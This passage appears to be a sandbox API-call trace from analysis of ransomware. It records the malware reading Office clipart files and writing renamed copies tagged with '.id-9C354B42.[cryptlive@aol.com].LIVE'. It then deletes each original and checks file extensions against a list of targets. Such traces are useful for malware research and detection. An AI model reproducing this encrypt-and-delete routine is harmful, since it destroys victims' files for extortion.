returned 1 [0139.669] WriteFile (in: hFile=0x394, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0139.669] SetEndOfFile (hFile=0x394) returned 1 [0139.669] CloseHandle (hObject=0x394) returned 1 [0139.669] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.670] SetEndOfFile (hFile=0x3b4) returned 1 [0139.672] CloseHandle (hObject=0x3b4) returned 1 [0139.672] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0139.672] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf")) returned 1 [0139.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0139.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0139.673] lstrlenW (lpString=".doc") returned 4 [0139.673] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0139.673] lstrlenW (lpString=".docx") returned 5 [0139.673] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0139.673] lstrlenW (lpString=".pdf") returned 4 [0139.673] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0139.673] lstrlenW (lpString=".xls") returned 4 [0139.673] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0139.673] lstrlenW (lpString=".xlsx") returned 5 [0139.673] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0139.673] lstrlenW (lpString=".ppt") returned 4 [0139.673] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0139.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0139.673] lstrlenW (lpString=".zip") returned 4 [0139.673] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0139.673] lstrlenW (lpString=".rar") returned 4 [0139.673] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0139.673] lstrlenW (lpString=".bz2") returned 4 [0139.673] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0139.673] lstrlenW (lpString=".7z") returned 3 [0139.673] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0139.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0139.673] lstrlenW (lpString=".dbf") returned 4 [0139.673] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0139.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0139.673] lstrlenW (lpString=".1cd") returned 4 [0139.674] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0139.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0139.674] lstrlenW (lpString=".jpg") returned 4 [0139.674] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0139.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0139.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0139.674] lstrlenW (lpString=".doc") returned 4 [0139.674] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0139.674] lstrlenW (lpString=".docx") returned 5 [0139.674] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0139.674] lstrlenW (lpString=".pdf") returned 4 [0139.674] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0139.674] lstrlenW (lpString=".xls") returned 4 [0139.674] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0139.674] lstrlenW (lpString=".xlsx") returned 5 [0139.674] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0139.674] lstrlenW (lpString=".ppt") returned 4 [0139.674] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0139.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0139.674] lstrlenW (lpString=".zip") returned 4 [0139.674] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0139.674] lstrlenW (lpString=".rar") returned 4 [0139.674] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0139.674] lstrlenW (lpString=".bz2") returned 4 [0139.674] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0139.674] lstrlenW (lpString=".7z") returned 3 [0139.674] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0139.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0139.675] lstrlenW (lpString=".dbf") returned 4 [0139.675] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0139.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0139.675] lstrlenW (lpString=".1cd") returned 4 [0139.675] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0139.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0139.675] lstrlenW (lpString=".jpg") returned 4 [0139.675] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0139.675] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0139.675] lstrlenW (lpString="BS00145_.WMF") returned 12 [0139.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0139.696] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=1712) returned 1 [0139.696] CloseHandle (hObject=0x3ac) returned 1 [0139.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf")) returned 0x20 [0139.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0139.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0139.805] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.805] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0139.806] GetLastError () returned 0x0 [0139.806] ReadFile (in: hFile=0x1dc, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x6b0, lpOverlapped=0x0) returned 1 [0139.826] WriteFile (in: hFile=0x1e4, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x6c0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x6c0, lpOverlapped=0x0) returned 1 [0139.827] ReadFile (in: hFile=0x1dc, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0139.827] WriteFile (in: hFile=0x1e4, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0139.827] SetEndOfFile (hFile=0x1e4) returned 1 [0139.827] CloseHandle (hObject=0x1e4) returned 1 [0139.827] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.827] SetEndOfFile (hFile=0x1dc) returned 1 [0139.829] CloseHandle (hObject=0x1dc) returned 1 [0139.829] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0139.830] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00145_.wmf")) returned 1 [0139.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0139.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0139.830] lstrlenW (lpString=".doc") returned 4 [0139.830] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0139.830] lstrlenW (lpString=".docx") returned 5 [0139.830] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0139.830] lstrlenW (lpString=".pdf") returned 4 [0139.830] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0139.830] lstrlenW (lpString=".xls") returned 4 [0139.830] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0139.830] lstrlenW (lpString=".xlsx") returned 5 [0139.830] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0139.830] lstrlenW (lpString=".ppt") returned 4 [0139.830] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0139.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0139.830] lstrlenW (lpString=".zip") returned 4 [0139.830] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0139.830] lstrlenW (lpString=".rar") returned 4 [0139.831] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0139.831] lstrlenW (lpString=".bz2") returned 4 [0139.831] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0139.831] lstrlenW (lpString=".7z") returned 3 [0139.831] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0139.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0139.831] lstrlenW (lpString=".dbf") returned 4 [0139.831] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0139.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0139.831] lstrlenW (lpString=".1cd") returned 4 [0139.831] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0139.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0139.831] lstrlenW (lpString=".jpg") returned 4 [0139.831] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0139.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0139.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0139.831] lstrlenW (lpString=".doc") returned 4 [0139.831] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0139.831] lstrlenW (lpString=".docx") returned 5 [0139.831] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0139.831] lstrlenW (lpString=".pdf") returned 4 [0139.831] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0139.831] lstrlenW (lpString=".xls") returned 4 [0139.831] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0139.831] lstrlenW (lpString=".xlsx") returned 5 [0139.831] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0139.831] lstrlenW (lpString=".ppt") returned 4 [0139.831] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0139.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0139.831] lstrlenW (lpString=".zip") returned 4 [0139.831] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0139.831] lstrlenW (lpString=".rar") returned 4 [0139.831] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0139.831] lstrlenW (lpString=".bz2") returned 4 [0139.831] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0139.831] lstrlenW (lpString=".7z") returned 3 [0139.832] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0139.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0139.832] lstrlenW (lpString=".dbf") returned 4 [0139.832] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0139.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0139.832] lstrlenW (lpString=".1cd") returned 4 [0139.832] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0139.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 63 [0139.832] lstrlenW (lpString=".jpg") returned 4 [0139.832] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0139.832] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0139.832] lstrlenW (lpString="BS00440_.WMF") returned 12 [0139.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0139.837] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=5580) returned 1 [0139.837] CloseHandle (hObject=0x3ac) returned 1 [0139.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf")) returned 0x20 [0139.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0139.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0139.952] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.952] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0139.953] GetLastError () returned 0x0 [0139.953] ReadFile (in: hFile=0x3b0, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x15cc, lpOverlapped=0x0) returned 1 [0139.955] WriteFile (in: hFile=0x350, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x15d0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x15d0, lpOverlapped=0x0) returned 1 [0139.955] ReadFile (in: hFile=0x3b0, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0139.956] WriteFile (in: hFile=0x350, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0139.956] SetEndOfFile (hFile=0x350) returned 1 [0139.956] CloseHandle (hObject=0x350) returned 1 [0139.956] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.956] SetEndOfFile (hFile=0x3b0) returned 1 [0139.959] CloseHandle (hObject=0x3b0) returned 1 [0139.959] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0139.960] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf")) returned 1 [0139.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0139.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0139.960] lstrlenW (lpString=".doc") returned 4 [0139.960] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0139.960] lstrlenW (lpString=".docx") returned 5 [0139.960] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0139.960] lstrlenW (lpString=".pdf") returned 4 [0139.960] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0139.960] lstrlenW (lpString=".xls") returned 4 [0139.960] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0139.960] lstrlenW (lpString=".xlsx") returned 5 [0139.961] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0139.961] lstrlenW (lpString=".ppt") returned 4 [0139.961] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0139.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0139.961] lstrlenW (lpString=".zip") returned 4 [0139.961] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0139.961] lstrlenW (lpString=".rar") returned 4 [0139.961] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0139.961] lstrlenW (lpString=".bz2") returned 4 [0139.961] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0139.961] lstrlenW (lpString=".7z") returned 3 [0139.961] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0139.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0139.961] lstrlenW (lpString=".dbf") returned 4 [0139.961] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0139.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0139.961] lstrlenW (lpString=".1cd") returned 4 [0139.961] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0139.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0139.961] lstrlenW (lpString=".jpg") returned 4 [0139.961] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0139.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0139.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0139.961] lstrlenW (lpString=".doc") returned 4 [0139.961] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0139.961] lstrlenW (lpString=".docx") returned 5 [0139.961] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0139.961] lstrlenW (lpString=".pdf") returned 4 [0139.961] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0139.961] lstrlenW (lpString=".xls") returned 4 [0139.961] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0139.961] lstrlenW (lpString=".xlsx") returned 5 [0139.961] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0139.961] lstrlenW (lpString=".ppt") returned 4 [0139.961] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0139.961] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0139.962] lstrlenW (lpString=".zip") returned 4 [0139.962] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0139.962] lstrlenW (lpString=".rar") returned 4 [0139.962] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0139.962] lstrlenW (lpString=".bz2") returned 4 [0139.962] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0139.962] lstrlenW (lpString=".7z") returned 3 [0139.962] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0139.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0139.962] lstrlenW (lpString=".dbf") returned 4 [0139.962] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0139.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0139.962] lstrlenW (lpString=".1cd") returned 4 [0139.962] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0139.962] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 63 [0139.962] lstrlenW (lpString=".jpg") returned 4 [0139.962] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0139.962] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0139.962] lstrlenW (lpString="BS00442_.WMF") returned 12 [0139.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0139.963] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=2488) returned 1 [0139.963] CloseHandle (hObject=0x3b0) returned 1 [0139.963] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf")) returned 0x20 [0139.963] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0139.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0139.963] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.963] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0139.964] GetLastError () returned 0x0 [0139.964] ReadFile (in: hFile=0x3b0, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x9b8, lpOverlapped=0x0) returned 1 [0139.965] WriteFile (in: hFile=0x350, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x9c0, lpOverlapped=0x0) returned 1 [0139.966] ReadFile (in: hFile=0x3b0, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0139.966] WriteFile (in: hFile=0x350, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0139.966] SetEndOfFile (hFile=0x350) returned 1 [0139.966] CloseHandle (hObject=0x350) returned 1 [0139.967] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0139.967] SetEndOfFile (hFile=0x3b0) returned 1 [0139.970] 